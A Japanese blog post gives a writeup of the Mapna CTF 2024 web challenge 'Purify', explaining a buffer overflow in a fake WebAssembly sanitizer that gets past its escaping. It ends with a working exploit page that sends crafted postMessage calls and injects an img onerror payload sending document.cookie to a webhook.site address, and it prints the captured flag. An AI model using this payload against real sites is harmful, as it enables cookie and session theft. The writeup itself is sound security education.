st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Mapna CTF 2024 writeup

あけましておめでとうございます。1/21から1/22にかけてASISが開催していたMapna CTF 2024に、BunkyoWesternsとして参加した。結果は1位で嬉しい。

Web問は6問が出題されていたけれども、うち4問は私が取り掛かる前にSatokiさんがすでに解いていたし、1問は競技時間内に解ききれなかったしで、個人としてはPurifyという1問のみを解いた。


[Web 398] Purify (4 solves)

I think I downloaded the wrong DOMPurify.

Website: (URL その1)
Admin bot: (URL その2)

添付ファイル: purify_206ec7c8d65c88cb617775a62bc5ab9bcfaa7baa.txz

次のようなファイルが与えられている。nginxで app 下の静的コンテンツを配信する web と、フラグ付きで web にChromiumでアクセスしてくれる bot という2つのコンテナから構成されている。

$ tree .
.
├── purify
│   ├── app
│   │   ├── nginx.conf
│   │   └── static
│   │       ├── css
│   │       │   └── style.css
│   │       ├── index.html
│   │       ├── js
│   │       │   ├── purify.js
│   │       │   └── script.js
│   │       └── purify.wasm
│   ├── bot
│   │   ├── Dockerfile
│   │   └── stuff
│   │       ├── bot.js
│   │       ├── index.js
│   │       ├── package-lock.json
│   │       ├── package.json
│   │       └── static
│   │           └── index.html
│   ├── docker-compose.yaml
│   └── purify.c
└── purify_206ec7c8d65c88cb617775a62bc5ab9bcfaa7baa.txz

8 directories, 15 files

bot/stuff/bot.js は次の通り。いつものやつという感じで、flag という名前のCookieを web というドメインで設定した上で、ユーザの指定したURLにアクセスしてくれる。このURLについて、そのオリジンは http://web に限られておらず、どんなURLでも通報すればアクセスしてくれる。

httpOnlyfalse であるから、web でXSSを引き起こすことができれば、JavaScript側から document.cookie にアクセスしてフラグが得られるとわかる。

#!/usr/bin/env node
const puppeteer = require('puppeteer')

const flag = process.env.FLAG || 'MAPNA{test-flag}';

async function visit(url){
    let browser;

    if(!/^https?:\/\//.test(url)){
        return;
    }

    try{
        browser = await puppeteer.launch({
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                "--ignore-certificate-errors",
            ],
            executablePath: "/usr/bin/google-chrome-stable",
            headless: 'new'
        });

        let page = await browser.newPage();
        await page.setCookie({
            name: 'flag',
            value: flag,
            domain: 'web',
            httpOnly: false,
            secure: false,
            sameSite: 'Lax'
        });
        await page.goto(url,{ waitUntil: 'domcontentloaded', timeout: 2000 });
        await new Promise(r=>setTimeout(r,5000));
    }catch(e){ console.log(e) }
    try{await browser.close();}catch(e){}
    process.exit(0)
}

visit(JSON.parse(process.argv[2]))

app/static/index.htmlapp/static/js/script.js はそれぞれ以下の通り。シンプルな構造で、postMessage で送られてきたメッセージについて、"DOMPurify" によってエスケープ処理を施した上で innerHTML で表示している。

この時点で気になる点としては、送られてきたメッセージは window.onmessage で受け取っているけれども、ここで送信元のオリジンを検証していないということがある。たとえば攻撃者のWebページから iframewindow.open でこのページを開き、postMessage でメッセージを送信しても、その内容を表示してくれる。もっとも、flag というCookieには SameSite=Lax が指定されているので、このCookieを送信させたければtop-level navigationとみなされる window.open を使用する必要がある。iframe ではダメだ。

index.html
<!DOCTYPE html>
<html>
<head>
   <meta charset="utf-8">
   <title>Purify</title>
   <script src="./js/purify.js"></script>
   <link href="./css/style.css" rel="stylesheet"/>
</head>
<body>
</body>
    <div>
        <h2>Received messages:</h2>
        <ul id="list">
        </ul>
    </div>
    <script src="./js/script.js"></script>
</html>
// script.js
window.onmessage = e=>{
    list.innerHTML += `
      <li>From ${e.origin}: ${window.DOMPurify.sanitize(e.data.toString())}</li>
  `
}

setTimeout(_=>window.postMessage("hi",'*'),1000)

もしこの "DOMPurify" が本物であればXSSへ持ち込むことは極めて難しいのだけれども、以下に示す app/static/js/purify.js のコードを見るとわかるようにWebAssemblyで作られている。偽物だ。

purify.wasm 側では少なくとも set_mode, add_char, get_char という関数がエクスポートされている(JavaScript側から呼び出せる)とわかる。エスケープにあたっては、まず set_mode でよくわからないが何かしらのモードをセットし、1文字ずつ add_char でエスケープしたい文字列を送信し、そして再び1文字ずつ get_char でエスケープ後の文字列を取得する。なお、get_char はnull文字が返ってくるまで繰り返される。

// purify.js
async function init() {
    window.wasm = (await WebAssembly.instantiateStreaming(
        fetch('./purify.wasm')
    )).instance.exports
}

function sanitize(dirty) {
    wasm.set_mode(0)    

    for(let i=0;i<dirty.length;i++){
        wasm.add_char(dirty.charCodeAt(i))
    }

    let c
    let clean = ''
    while((c = wasm.get_char()) != 0){
        clean += String.fromCharCode(c)
    }

    return clean
}

window.DOMPurify = { 
    sanitize,
    version: '1.3.7'
}

init()

purify.wasm に脆弱性はないだろうか。そのソースコードが purify.c として次の通りに与えられている。先程エスケープ時に最初に呼び出されると言っていた set_mode について、その引数が 1 であれば escape_attr が、そうでなければ escape_tag がという形で、何をエスケープするかのチェックに使われる関数が切り替えられるようだ。purify.js では 0 を引数として与えているので、escape_tag が選択される。

add_char 中で is_dangerous という、escape_tag もしくは escape_attr が入る関数ポインタが参照されている。escape_ から始まる名前から連想される処理とはやや違っており、これらは与えられた文字が <> のような危険なものであれば 1 を、安全と思われるものであれば 0 を返すという関数になっている。add_char は、これらの関数を使ってある文字が危険かどうか判定し、もし危険であれば hex_escape で数値文字参照へ変換する。

globalVars という構造体のグローバルな変数である g に、エスケープ後の文字列(buf)や、is_dangerous が含まれている。これは lenlen_r というメンバも持つけれども、それぞれ次に add_charget_char が呼び出された際に buf のどの位置を参照するかを意味する。g が持つ buflen_r を元に、get_char はエスケープ後の文字を1文字ずつ返していく。

// clang --target=wasm32 -emit-llvm -c -S ./purify.c && llc -march=wasm32 -filetype=obj ./purify.ll && wasm-ld --no-entry --export-all -o purify.wasm purify.o
struct globalVars {
    unsigned int len;
    unsigned int len_r;
    char buf[0x1000];
    int (*is_dangerous)(char c);
} g;

int escape_tag(char c){
    if(c == '<' || c == '>'){
        return 1;
    } else {
        return 0;
    }
}

int escape_attr(char c){
    if(c == '\'' || c == '"'){
        return 1;
    } else {
        return 0;
    }
}

int hex_escape(char c,char *dest){
    dest[0] = '&';
    dest[1] = '#';
    dest[2] = 'x';
    dest[3] =  "0123456789abcdef"[(c&0xf0)>>4];
    dest[4] =  "0123456789abcdef"[c&0xf];
    dest[5] =  ';';
    return 6;
}

void add_char(char c) {
    if(g.is_dangerous(c)){
        g.len += hex_escape(c,&g.buf[g.len]);
    } else {
        g.buf[g.len++] = c;
    }
}

int get_char(char f) {
    if(g.len_r < g.len){
        return g.buf[g.len_r++];
    }
    return '\0';
}

void set_mode(int mode) {
    if(mode == 1){
        g.is_dangerous = escape_attr;
    } else {
        g.is_dangerous = escape_tag;
    }
}

g.buf のサイズは 0x1000 バイトしかない。add_char では g.len がそのサイズを超えているかのチェックがなされていないわけだから、バッファオーバーフロー(BOF)が発生する。メモリ上は g.buf より後ろに g.is_dangerous が位置しているので、これが指す関数を書き換えられそうに思う。

そもそもwasmでは g.is_dangerous の呼び出しがどのように実現されているか。Chromeの開発者ツールでSources → purify.wasm から逆アセンブルし、add_char としてエクスポートされている関数を見てみると、次のように call_indirect という命令がそれにあたるとわかる。

call_indirect の後ろに (param i32) (result i32) とあるけれども、これは1個の i32 を引数として受け取り、i32 を返り値として返す関数を呼び出すことを意味する。

では、ここでどうやって特定の関数を指定しているか。このwasmは以下のように table セクションと elem セクションを持っており、escape_attr, escape_tag のような関数を要素として持っている。call_indirect はスタックから i32 の値を持ってきて、このテーブルの何番目の関数を指すかを意味するオフセットとして解釈し、その関数を呼び出す。g.is_dangerous にはこのオフセットが入っている。

sanitize の最初の set によって、g.is_dangerous には最初 escape_tag のオフセット、つまり 2 が入っている。これを 1 に置き換えることで escape_attr が呼び出されるようにできるのではないか。escape_tag<> をエスケープするのに対して、escape_tag"' をエスケープするから、これでXSSに持ち込めるのではないか。

sanitize の返り値を console.log で出力するよう script.js を変更した上で、以下のような内容のHTMLにアクセスする。すると、< がエスケープされずに出力された。

<script>
let w = window.open('http://web');
setTimeout(() => {
    w.postMessage('A'.repeat(0x1000) + '\x01<', '*');
}, 100);
</script>

しかしながら、まだ問題がある。g.is_dangerous の型は i32 であり、上記のようにBOFを行ってしまうとメモリ上では 01 3c 00 00 に、つまり15361に書き換えられてしまう。上述の call_indirect が参照するテーブルは3つしか要素がないので、そのままエスケープなしに出力させようとすると table index is out of bounds というエラーが発生してしまう。

'A'.repeat(0x1000) + '\x01\x00\x00\x00' + '<s>test</s>' のように g.is_dangerous01 00 00 00 で置き換えて、その後にHTMLタグを仕込めばよいのではないかと思うが、単純に置き換えるだけだとダメだ。というのも、sanitizeget_char がnull文字を返せばそこで文字列が終わっていると判断してしまうためだ。なんとかして 00 の部分を読み飛ばすことはできないか。

    let c
    let clean = ''
    while((c = wasm.get_char()) != 0){
        clean += String.fromCharCode(c)
    }

ふと、同時に postMessage で複数のメッセージを送るとどうなるかと考えた。今回使われている偽DOMPurifyは同じ purify.wasm のインスタンスを使いまわしており、かつ g の初期化を行うような処理はない。複数回 sanitize が呼び出されると、前回の続きから再開される。

g.len_r の値も保持されているから、「前回の続きから再開される」というのは get_char も含む。たとえnull文字が含まれていたとしても、3回呼び出せば g.is_dangerous の範囲を抜け出して、それ以降のHTMLタグを含む文字列を出力させることもできる。なお、buf に入っているのはすでにエスケープされたとみなされている文字列であり、後から wasm.set_mode(0) によって g.is_dangerousescape_tag を指す 2 に変えられてしまっても影響はない。

まずBOFで is_dangerousescape_attr を指す 1 を書き込み、ついでに外部へCookieを送信させるJSコードを実行するHTMLタグを、エスケープなしに buf (といっても本来の buf の範囲は超えているが…)へ載せさせる。その後で3回適当なメッセージを送ると、最後にHTMLタグを含んだ文字列が出力されるはずだ。

<script>
let w = window.open('http://web');
setTimeout(() => {
    w.postMessage("A".repeat(0x1000) + '\x01\x00\x00\x00' + '<img src=x onerror=location.assign([`http://webhook.site/…?`,document.cookie])>', '*');
    w.postMessage('a', '*');
    w.postMessage('a', '*');
    w.postMessage('a', '*');
}, 100);
</script>

これを通報するとフラグが飛んできた。

MAPNA{e22e0bf86e0813d9d3c7ae3f8022e41d}